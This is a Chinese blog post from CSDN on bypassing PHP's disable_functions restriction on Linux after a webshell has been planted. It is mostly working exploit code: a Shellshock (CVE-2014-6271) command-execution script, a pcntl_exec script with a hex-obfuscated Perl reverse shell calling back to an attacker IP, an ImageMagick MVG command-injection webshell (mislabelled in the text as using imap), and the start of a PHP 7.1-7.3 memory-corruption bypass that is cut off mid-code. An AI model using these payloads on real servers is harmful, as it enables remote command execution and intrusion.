linux下php中的disable_function的几种绕过方式

最新推荐文章于 2023-02-23 19:00:00 发布

流水~天涯

最新推荐文章于 2023-02-23 19:00:00 发布

阅读量1.7k

点赞数 1

分类专栏： web安全文章标签：安全

本文链接：https://blog.csdn.net/jia3643/article/details/104200164

版权

本文介绍了在Linux系统中，当PHP的disable_function禁用了某些关键函数时的绕过方法，包括利用CVE-2014-6271漏洞、pcntl_exec函数、imap扩展以及PHP 7.1-7.3的disable_functions bypass策略。内容适用于PHP 7.0到7.3版本，适合网络安全和PHP开发人员参考。

摘要由CSDN通过智能技术生成

php disabled_function

若转载请于明显处标明出处：https://blog.csdn.net/jia3643

写入shell之后，经常会遇到disabled_function禁用了关键函数，想总结一下绕过方式(网安新手，不全或者错误之处希望大佬们多多指教）
有些时候可能不能用了，但是大部分情况下可以使用

常见危险函数如下，如果没有完全禁用可以尝试利用未被禁用的函数

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link,map_open,imap_mail,ini_set,ini_alter,其他函数

1.CVE-2014-6271 要求 PHP < 5.6.2

<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) 
# Google Dork: none # Date: 10/31/2014 
# Exploit Author: Ryan King (Starfall) 
# Vendor Homepage: http://php.net # Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror 
# Version: 5.* (tested on 5.6.2) 
# Tested on: Debian 7 and CentOS 5 and 6 
# CVE: CVE-2014-6271
function shellshock($cmd) {
    // Execute a command via CVE-2014-6271 @mail.c:283    
$tmp = tempnam(".","data");    
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");    
// In Safe Mode, the user may only alter environment variableswhose names   
// begin with the prefixes supplied by this directive.    
// By default, users will only be able to set environment variablesthat    
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,   
// PHP will let the user modify ANY environment variable!    mail("a@127.0.0.1","","","","-bv"); 
// -bv so we don't actuallysend any mail    
$output = @file_get_contents($tmp);   
@unlink($tmp);   
if($output != "") return $output;   
else return "No output, or not vuln."; 
}                   
echo shellshock($_REQUEST["cmd"]); 
?>

2.开启了 pcntl 扩展，就可以利用 pcntl_exec 函数来执行命令，要求 PHP 4 >= 4.2.0, PHP 5 on linux

<?php 
/*******************************
 *查看phpinfo编译参数--enable-pcntl
 *作者 Spider
 *nc -vvlp 443
********************************/
 
$ip = 'xxx.xxx.xxx.xxx';
$port = '443';
$file = '/tmp/bc.pl';
 
header("content-Type: text/html; charset=gb2312");
 
if(function_exists('pcntl_exec')) {
   
        $data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
                "\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".
                "\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".
                "\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.
                "\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.
                "\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".
                "\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".
                "\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".
                "\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".
                "\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".
                "\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".
                "\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".
                "\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".
                "\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".
                "\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".
                "\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".
                "\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".
                "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".
                "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".
                "\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".
                "\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".
                "\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";
        $fp = fopen($file,'w');
        $key = fputs($fp,$data);
        fclose($fp);
        if(!$key) exit('写入'.$file.'失败');
        chmod($file,0777);
        pcntl_exec($file);
        unlink($file);
} else {
   
        echo '不支持pcntl扩展';
}
?>

3. 如果网站安装了 imap 拓展，并启用，且 php.ini 中 enable_insecure_rsh 处于 On 状态（默认既是On 状态）时，可以通过如下代码写入 webshell 。

  <?php 
  echo "Disable Functions: " . ini_get('disable_functions') . "\n"; 
   
  $command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd']; 
  if ($command == '') {
    
      $command = 'id'; 
  } 
   
  $exploit = <<<EOF 
  push graphic-context 
  viewbox 0 0 640 480 
  fill 'url(https://example.com/image.jpg"|$command")' 
  pop graphic-context 
  EOF; 
   
  file_put_contents("KKKK.mvg", $exploit); 
  $thumb = new Imagick(); 
  $thumb->readImage('KKKK.mvg'); 
  $thumb->writeImage('KKKK.png'); 
  $thumb->clear(); 
  $thumb->destroy(); 
  unlink("KKKK.mvg"); 
  unlink("KKKK.png"); 
  ?>

4 PHP 7.1-7.3 disable_functions bypass

  <?php
  $cmd = "id";
  $n_alloc = 10; # increase this value if you get segfaults
  class MySplFixedArray extends SplFixedArray {
   
      public static $leak;
  }
  class Z implements JsonSerializable {
   
      public function write(&$str, $p, $v, $n = 8) {
   
        $i = 0;
        for($i = 0; $i < $n; $i++) {
   
          $str[$p + $i] = chr($v & 0xff);
          $v >>= 8;
        }
      }
      public function str2ptr(&$str, $p = 0, $s = 8) {
   
          $address = 0;
          for($j = $s-1; $j >= 0; $j--) {
   
              $address <<= 8;
              $address |= ord($str[$p+$j]);
          }
          return $address;
      }
      public function ptr2str($ptr, $m = 8) {
   
          $out = "";
          for ($i=0; $i < $m; $i++) {
   
              $out .= chr($ptr & 0xff);
              $ptr >>= 8;
          }
          return